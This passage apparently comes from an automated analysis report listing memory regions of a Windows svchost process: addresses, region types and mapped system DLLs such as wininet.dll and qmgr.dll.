	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ecf00000"
	        filename = ""

Region:
	              id = 846
	        start_va = 0x51ed000000
	          end_va = 0x51ed0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ed000000"
	        filename = ""

Region:
	              id = 847
	        start_va = 0x7df5ffdb0000
	          end_va = 0x7ff5ffdaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffdb0000"
	        filename = ""

Region:
	              id = 848
	        start_va = 0x7ff7b3a88000
	          end_va = 0x7ff7b3a89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3a88000"
	        filename = ""

Region:
	              id = 849
	        start_va = 0x7ff7b3a8a000
	          end_va = 0x7ff7b3a8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3a8a000"
	        filename = ""

Region:
	              id = 850
	        start_va = 0x7ff7b3aaa000
	          end_va = 0x7ff7b3aabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aaa000"
	        filename = ""

Region:
	              id = 851
	        start_va = 0x7ff7b3aac000
	          end_va = 0x7ff7b3aadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aac000"
	        filename = ""

Region:
	              id = 852
	        start_va = 0x7ff7b3ab0000
	          end_va = 0x7ff7b3ab1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ab0000"
	        filename = ""

Region:
	              id = 853
	        start_va = 0x7ff7b3ab2000
	          end_va = 0x7ff7b3ab3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ab2000"
	        filename = ""

Region:
	              id = 854
	        start_va = 0x7ff7b3abe000
	          end_va = 0x7ff7b3abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3abe000"
	        filename = ""

Region:
	              id = 855
	        start_va = 0x7ff7b3ac0000
	          end_va = 0x7ff7b3ac1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ac0000"
	        filename = ""

Region:
	              id = 856
	        start_va = 0x7ff7b3ac2000
	          end_va = 0x7ff7b3ac3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ac2000"
	        filename = ""

Region:
	              id = 857
	        start_va = 0x7ff7b3ac4000
	          end_va = 0x7ff7b3ac5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ac4000"
	        filename = ""

Region:
	              id = 858
	        start_va = 0x7ff7b3aca000
	          end_va = 0x7ff7b3acbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aca000"
	        filename = ""

Region:
	              id = 859
	        start_va = 0x7ff7b3acc000
	          end_va = 0x7ff7b3acdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3acc000"
	        filename = ""

Region:
	              id = 860
	        start_va = 0x7ff7b3ace000
	          end_va = 0x7ff7b3acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ace000"
	        filename = ""

Region:
	              id = 861
	        start_va = 0x7ff7b3ad0000
	          end_va = 0x7ff7b3ad1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ad0000"
	        filename = ""

Region:
	              id = 862
	        start_va = 0x7ff7b3ad2000
	          end_va = 0x7ff7b3ad3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ad2000"
	        filename = ""

Region:
	              id = 863
	        start_va = 0x7ff7b3ad4000
	          end_va = 0x7ff7b3ad5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ad4000"
	        filename = ""

Region:
	              id = 864
	        start_va = 0x7ff7b3ad6000
	          end_va = 0x7ff7b3ad7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ad6000"
	        filename = ""

Region:
	              id = 865
	        start_va = 0x7ff7b3ad8000
	          end_va = 0x7ff7b3ad9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ad8000"
	        filename = ""

Region:
	              id = 866
	        start_va = 0x7ff7b3ada000
	          end_va = 0x7ff7b3adbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ada000"
	        filename = ""

Region:
	              id = 867
	        start_va = 0x7ff7b3adc000
	          end_va = 0x7ff7b3addfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3adc000"
	        filename = ""

Region:
	              id = 868
	        start_va = 0x7ff7b3ade000
	          end_va = 0x7ff7b3adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ade000"
	        filename = ""

Region:
	              id = 869
	        start_va = 0x7ff7b3ae0000
	          end_va = 0x7ff7b3ae1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ae0000"
	        filename = ""

Region:
	              id = 870
	        start_va = 0x7ff7b3ae2000
	          end_va = 0x7ff7b3ae3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ae2000"
	        filename = ""

Region:
	              id = 871
	        start_va = 0x7ff7b3ae4000
	          end_va = 0x7ff7b3ae5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ae4000"
	        filename = ""

Region:
	              id = 872
	        start_va = 0x7ff7b3ae6000
	          end_va = 0x7ff7b3ae7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ae6000"
	        filename = ""

Region:
	              id = 873
	        start_va = 0x7ff7b3ae8000
	          end_va = 0x7ff7b3ae9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ae8000"
	        filename = ""

Region:
	              id = 874
	        start_va = 0x7ff7b3aea000
	          end_va = 0x7ff7b3aebfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aea000"
	        filename = ""

Region:
	              id = 875
	        start_va = 0x7ff7b3aec000
	          end_va = 0x7ff7b3aedfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aec000"
	        filename = ""

Region:
	              id = 876
	        start_va = 0x7ff7b3aee000
	          end_va = 0x7ff7b3aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aee000"
	        filename = ""

Region:
	              id = 877
	        start_va = 0x7ff7b3af0000
	          end_va = 0x7ff7b3af1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3af0000"
	        filename = ""

Region:
	              id = 878
	        start_va = 0x7ff7b3af2000
	          end_va = 0x7ff7b3af3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3af2000"
	        filename = ""

Region:
	              id = 879
	        start_va = 0x7ff7b3af4000
	          end_va = 0x7ff7b3af5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3af4000"
	        filename = ""

Region:
	              id = 880
	        start_va = 0x7ff7b3af6000
	          end_va = 0x7ff7b3af7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3af6000"
	        filename = ""

Region:
	              id = 881
	        start_va = 0x7ff7b3af8000
	          end_va = 0x7ff7b3af9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3af8000"
	        filename = ""

Region:
	              id = 882
	        start_va = 0x7ff7b3afa000
	          end_va = 0x7ff7b3afbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3afa000"
	        filename = ""

Region:
	              id = 883
	        start_va = 0x7ff7b3afc000
	          end_va = 0x7ff7b3afdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3afc000"
	        filename = ""

Region:
	              id = 884
	        start_va = 0x7ff7b3afe000
	          end_va = 0x7ff7b3afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3afe000"
	        filename = ""

Region:
	              id = 885
	        start_va = 0x7ff7b3b00000
	          end_va = 0x7ff7b3b01fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b00000"
	        filename = ""

Region:
	              id = 886
	        start_va = 0x7ff7b3b02000
	          end_va = 0x7ff7b3b03fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b02000"
	        filename = ""

Region:
	              id = 887
	        start_va = 0x7ff7b3b04000
	          end_va = 0x7ff7b3b05fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b04000"
	        filename = ""

Region:
	              id = 888
	        start_va = 0x7ff7b3b06000
	          end_va = 0x7ff7b3b07fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b06000"
	        filename = ""

Region:
	              id = 889
	        start_va = 0x7ff7b3b0a000
	          end_va = 0x7ff7b3b0bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b0a000"
	        filename = ""

Region:
	              id = 890
	        start_va = 0x7ff7b3b0e000
	          end_va = 0x7ff7b3b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b0e000"
	        filename = ""

Region:
	              id = 891
	        start_va = 0x7ff7b3b10000
	          end_va = 0x7ff7b3b11fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b10000"
	        filename = ""

Region:
	              id = 892
	        start_va = 0x7ff7b3b12000
	          end_va = 0x7ff7b3b13fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b12000"
	        filename = ""

Region:
	              id = 893
	        start_va = 0x7ff7b3b14000
	          end_va = 0x7ff7b3b15fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b14000"
	        filename = ""

Region:
	              id = 894
	        start_va = 0x7ff7b3b16000
	          end_va = 0x7ff7b3b17fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b16000"
	        filename = ""

Region:
	              id = 895
	        start_va = 0x7ff7b3b18000
	          end_va = 0x7ff7b3b19fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b18000"
	        filename = ""

Region:
	              id = 896
	        start_va = 0x7ff7b3b1a000
	          end_va = 0x7ff7b3b1bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b1a000"
	        filename = ""

Region:
	              id = 897
	        start_va = 0x7ff7b3b1c000
	          end_va = 0x7ff7b3b1dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b1c000"
	        filename = ""

Region:
	              id = 898
	        start_va = 0x7ff7b3b1e000
	          end_va = 0x7ff7b3b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b1e000"
	        filename = ""

Region:
	              id = 899
	        start_va = 0x7ff7b3b20000
	          end_va = 0x7ff7b3b21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b20000"
	        filename = ""

Region:
	              id = 900
	        start_va = 0x7ff7b3b24000
	          end_va = 0x7ff7b3b25fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b24000"
	        filename = ""

Region:
	              id = 901
	        start_va = 0x7ff7b3b26000
	          end_va = 0x7ff7b3b27fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b26000"
	        filename = ""

Region:
	              id = 902
	        start_va = 0x7ff7b3b28000
	          end_va = 0x7ff7b3b29fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b28000"
	        filename = ""

Region:
	              id = 903
	        start_va = 0x7ff7b3b2a000
	          end_va = 0x7ff7b3b2bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b2a000"
	        filename = ""

Region:
	              id = 904
	        start_va = 0x7ff7b3b2c000
	          end_va = 0x7ff7b3b2dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b2c000"
	        filename = ""

Region:
	              id = 905
	        start_va = 0x7ff7b3b2e000
	          end_va = 0x7ff7b3b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b2e000"
	        filename = ""

Region:
	              id = 906
	        start_va = 0x7ff7b3b30000
	          end_va = 0x7ff7b3c2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3b30000"
	        filename = ""

Region:
	              id = 907
	        start_va = 0x7ff7b3c30000
	          end_va = 0x7ff7b3c52fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3c30000"
	        filename = ""

Region:
	              id = 908
	        start_va = 0x7ff7b3c53000
	          end_va = 0x7ff7b3c54fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c53000"
	        filename = ""

Region:
	              id = 909
	        start_va = 0x7ff7b3c55000
	          end_va = 0x7ff7b3c56fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c55000"
	        filename = ""

Region:
	              id = 910
	        start_va = 0x7ff7b3c57000
	          end_va = 0x7ff7b3c58fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c57000"
	        filename = ""

Region:
	              id = 911
	        start_va = 0x7ff7b3c59000
	          end_va = 0x7ff7b3c59fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c59000"
	        filename = ""

Region:
	              id = 912
	        start_va = 0x7ff7b3c5a000
	          end_va = 0x7ff7b3c5bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c5a000"
	        filename = ""

Region:
	              id = 913
	        start_va = 0x7ff7b3c5e000
	          end_va = 0x7ff7b3c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c5e000"
	        filename = ""

Region:
	              id = 914
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 915
	        start_va = 0x7ffbeb570000
	          end_va = 0x7ffbeb5bcfff
	     entry_point = 0x7ffbeb570000
	     region_type = mapped_file
	            name = "pdh.dll"
	        filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll")

Region:
	              id = 916
	        start_va = 0x7ffbeb5c0000
	          end_va = 0x7ffbeb6e1fff
	     entry_point = 0x7ffbeb5c0000
	     region_type = mapped_file
	            name = "dosvc.dll"
	        filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll")

Region:
	              id = 917
	        start_va = 0x7ffbec2e0000
	          end_va = 0x7ffbec3a3fff
	     entry_point = 0x7ffbec2e0000
	     region_type = mapped_file
	            name = "wuapi.dll"
	        filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll")

Region:
	              id = 918
	        start_va = 0x7ffbec3b0000
	          end_va = 0x7ffbec3c8fff
	     entry_point = 0x7ffbec3b0000
	     region_type = mapped_file
	            name = "usoapi.dll"
	        filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll")

Region:
	              id = 919
	        start_va = 0x7ffbec3d0000
	          end_va = 0x7ffbec40ffff
	     entry_point = 0x7ffbec3d0000
	     region_type = mapped_file
	            name = "updatehandlers.dll"
	        filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll")

Region:
	              id = 920
	        start_va = 0x7ffbed500000
	          end_va = 0x7ffbed516fff
	     entry_point = 0x7ffbed500000
	     region_type = mapped_file
	            name = "dmcmnutils.dll"
	        filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll")

Region:
	              id = 921
	        start_va = 0x7ffbed520000
	          end_va = 0x7ffbed53cfff
	     entry_point = 0x7ffbed520000
	     region_type = mapped_file
	            name = "updatepolicy.dll"
	        filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll")

Region:
	              id = 922
	        start_va = 0x7ffbf2590000
	          end_va = 0x7ffbf25a1fff
	     entry_point = 0x7ffbf2590000
	     region_type = mapped_file
	            name = "bitsproxy.dll"
	        filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll")

Region:
	              id = 923
	        start_va = 0x7ffbf25b0000
	          end_va = 0x7ffbf262ffff
	     entry_point = 0x7ffbf25b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 924
	        start_va = 0x7ffbf29e0000
	          end_va = 0x7ffbf29eafff
	     entry_point = 0x7ffbf29e0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 925
	        start_va = 0x7ffbf2bb0000
	          end_va = 0x7ffbf2bb7fff
	     entry_point = 0x7ffbf2bb0000
	     region_type = mapped_file
	            name = "dmiso8601utils.dll"
	        filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll")

Region:
	              id = 926
	        start_va = 0x7ffbf2cc0000
	          end_va = 0x7ffbf2d25fff
	     entry_point = 0x7ffbf2cc0000
	     region_type = mapped_file
	            name = "upnp.dll"
	        filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")

Region:
	              id = 927
	        start_va = 0x7ffbf2d30000
	          end_va = 0x7ffbf2d42fff
	     entry_point = 0x7ffbf2d30000
	     region_type = mapped_file
	            name = "bitsigd.dll"
	        filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll")

Region:
	              id = 928
	        start_va = 0x7ffbf2d50000
	          end_va = 0x7ffbf2d5afff
	     entry_point = 0x7ffbf2d50000
	     region_type = mapped_file
	            name = "bitsperf.dll"
	        filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll")

Region:
	              id = 929
	        start_va = 0x7ffbf2d60000
	          end_va = 0x7ffbf2e80fff
	     entry_point = 0x7ffbf2d60000
	     region_type = mapped_file
	            name = "qmgr.dll"
	        filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll")

Region:
	              id = 930
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 931
	        start_va = 0x7ffbf5c50000
	          end_va = 0x7ffbf5ef6fff
	     entry_point = 0x7ffbf5c50000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 932
	        start_va = 0x7ffbf5f00000
	          end_va = 0x7ffbf5f10fff
	     entry_point = 0x7ffbf5f00000
	     region_type = mapped_file
	            name = "credentialmigrationhandler.dll"
	        filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll")

Region:
	              id = 933
	        start_va = 0x7ffbf5f20000
	          end_va = 0x7ffbf5fa2fff
	     entry_point = 0x7ffbf5f20000
	     region_type = mapped_file
	            name = "wbemess.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")

Region:
	              id = 934
	        start_va = 0x7ffbf5fb0000
	          end_va = 0x7ffbf5fc5fff
	     entry_point = 0x7ffbf5fb0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 935
	        start_va = 0x7ffbf5fd0000
	          end_va = 0x7ffbf60a7fff
	     entry_point = 0x7ffbf5fd0000
	     region_type = mapped_file
	            name = "wmiprvsd.dll"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")

Region:
	              id = 936
	        start_va = 0x7ffbf60b0000
	          end_va = 0x7ffbf6112fff
	     entry_point = 0x7ffbf60b0000
	     region_type = mapped_file
	            name = "repdrvfs.dll"
	        filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")

Region:
	              id = 937
	        start_va = 0x7ffbf6120000
	          end_va = 0x7ffbf6144fff
	     entry_point = 0x7ffbf6120000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 938
	        start_va = 0x7ffbf6150000
	          end_va = 0x7ffbf6163fff
	     entry_point = 0x7ffbf6150000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 939
	        start_va = 0x7ffbf6170000
	          end_va = 0x7ffbf6267fff
	     entry_point = 0x7ffbf6170000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 940
	        start_va = 0x7ffbf6270000
	          end_va = 0x7ffbf62e2fff
	     entry_point = 0x7ffbf6270000
	     region_type = mapped_file
	            name = "esscli.dll"
	        filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")

Region:
	              id = 941
	        start_va = 0x7ffbf62f0000
	          end_va = 0x7ffbf6426fff
	     entry_point = 0x7ffbf62f0000
	     region_type = mapped_file
	            name = "wbemcore.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")

Region:
	              id = 942
	        start_va = 0x7ffbf6430000
	          end_va = 0x7ffbf64c6fff
	     entry_point = 0x7ffbf6430000
	     region_type = mapped_file
	            name = "settingsync.dll"
	        filename = "\\Windows\\System32\\SettingSync.dll" (normalized: "c:\\windows\\system32\\settingsync.dll")

Region:
	              id = 943
	        start_va = 0x7ffbf64d0000
	          end_va = 0x7ffbf64e0fff
	     entry_point = 0x7ffbf64d0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 944
	        start_va = 0x7ffbf64f0000
	          end_va = 0x7ffbf6500fff
	     entry_point = 0x7ffbf64f0000
	     region_type = mapped_file
	            name = "tetheringclient.dll"
	        filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll")

Region:
	              id = 945
	        start_va = 0x7ffbf6510000
	          end_va = 0x7ffbf658ffff
	     entry_point = 0x7ffbf6510000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 946
	        start_va = 0x7ffbf6590000
	          end_va = 0x7ffbf65a4fff
	     entry_point = 0x7ffbf6590000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 947
	        start_va = 0x7ffbf65b0000
	          end_va = 0x7ffbf65c9fff
	     entry_point = 0x7ffbf65b0000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 948
	        start_va = 0x7ffbf6a70000
	          end_va = 0x7ffbf6a8cfff
	     entry_point = 0x7ffbf6a70000
	     region_type = mapped_file
	            name = "appinfo.dll"
	        filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll")

Region:
	              id = 949
	        start_va = 0x7ffbf6f50000
	          end_va = 0x7ffbf6f61fff
	     entry_point = 0x7ffbf6f50000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 950
	        start_va = 0x7ffbf6f70000
	          end_va = 0x7ffbf6fb5fff
	     entry_point = 0x7ffbf6f70000
	     region_type = mapped_file
	            name = "adsldp.dll"
	        filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll")

Region:
	              id = 951
	        start_va = 0x7ffbf74e0000
	          end_va = 0x7ffbf751ffff
	     entry_point = 0x7ffbf74e0000
	     region_type = mapped_file
	            name = "adsldpc.dll"
	        filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll")

Region:
	              id = 952
	        start_va = 0x7ffbf7520000
	          end_va = 0x7ffbf7567fff
	     entry_point = 0x7ffbf7520000
	     region_type = mapped_file
	            name = "activeds.dll"
	        filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll")

Region:
	              id = 953
	        start_va = 0x7ffbf7570000
	          end_va = 0x7ffbf7580fff
	     entry_point = 0x7ffbf7570000
	     region_type = mapped_file
	            name = "nci.dll"
	        filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")

Region:
	              id = 954
	        start_va = 0x7ffbf7590000
	          end_va = 0x7ffbf759cfff
	     entry_point = 0x7ffbf7590000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 955
	        start_va = 0x7ffbf7b30000
	          end_va = 0x7ffbf7b3dfff
	     entry_point = 0x7ffbf7b30000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 956
	        start_va = 0x7ffbf9250000
	          end_va = 0x7ffbf9264fff
	     entry_point = 0x7ffbf9250000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")

Region:
	              id = 957
	        start_va = 0x7ffbf9270000
	          end_va = 0x7ffbf92b0fff
	     entry_point = 0x7ffbf9270000
	     region_type = mapped_file
	            name = "wdscore.dll"
	        filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")

Region:
	              id = 958
	        start_va = 0x7ffbf9810000
	          end_va = 0x7ffbf982cfff
	     entry_point = 0x7ffbf9810000
	     region_type = mapped_file
	            name = "netsetupapi.dll"
	        filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll")

Region:
	              id = 959
	        start_va = 0x7ffbf9830000
	          end_va = 0x7ffbf9893fff
	     entry_point = 0x7ffbf9830000
	     region_type = mapped_file
	            name = "netsetupshim.dll"
	        filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll")

Region:
	              id = 960
	        start_va = 0x7ffbf99c0000
	          end_va = 0x7ffbf9a1efff
	     entry_point = 0x7ffbf99c0000
	     region_type = mapped_file
	            name = "wlanapi.dll"
	        filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll")

Region:
	              id = 961
	        start_va = 0x7ffbf9aa0000
	          end_va = 0x7ffbf9ab7fff
	     entry_point = 0x7ffbf9aa0000
	     region_type = mapped_file
	            name = "adhsvc.dll"
	        filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll")

Region:
	              id = 962
	        start_va = 0x7ffbf9ac0000
	          end_va = 0x7ffbf9ae2fff
	     entry_point = 0x7ffbf9ac0000
	     region_type = mapped_file
	            name = "httpprxm.dll"
	        filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll")

Region:
	              id = 963
	        start_va = 0x7ffbf9b00000
	          end_va = 0x7ffbf9b14fff
	     entry_point = 0x7ffbf9b00000
	     region_type = mapped_file
	            name = "ssdpapi.dll"
	        filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")

Region:
	              id = 964
	        start_va = 0x7ffbf9b20000
	          end_va = 0x7ffbf9b64fff
	     entry_point = 0x7ffbf9b20000
	     region_type = mapped_file
	            name = "sqmapi.dll"
	        filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")

Region:
	              id = 965
	        start_va = 0x7ffbf9b70000
	          end_va = 0x7ffbf9b83fff
	     entry_point = 0x7ffbf9b70000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 966
	        start_va = 0x7ffbf9b90000
	          end_va = 0x7ffbf9c80fff
	     entry_point = 0x7ffbf9b90000
	     region_type = mapped_file
	            name = "iphlpsvc.dll"
	        filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")

Region:
	              id = 967
	        start_va = 0x7ffbf9d80000
	          end_va = 0x7ffbf9d9bfff
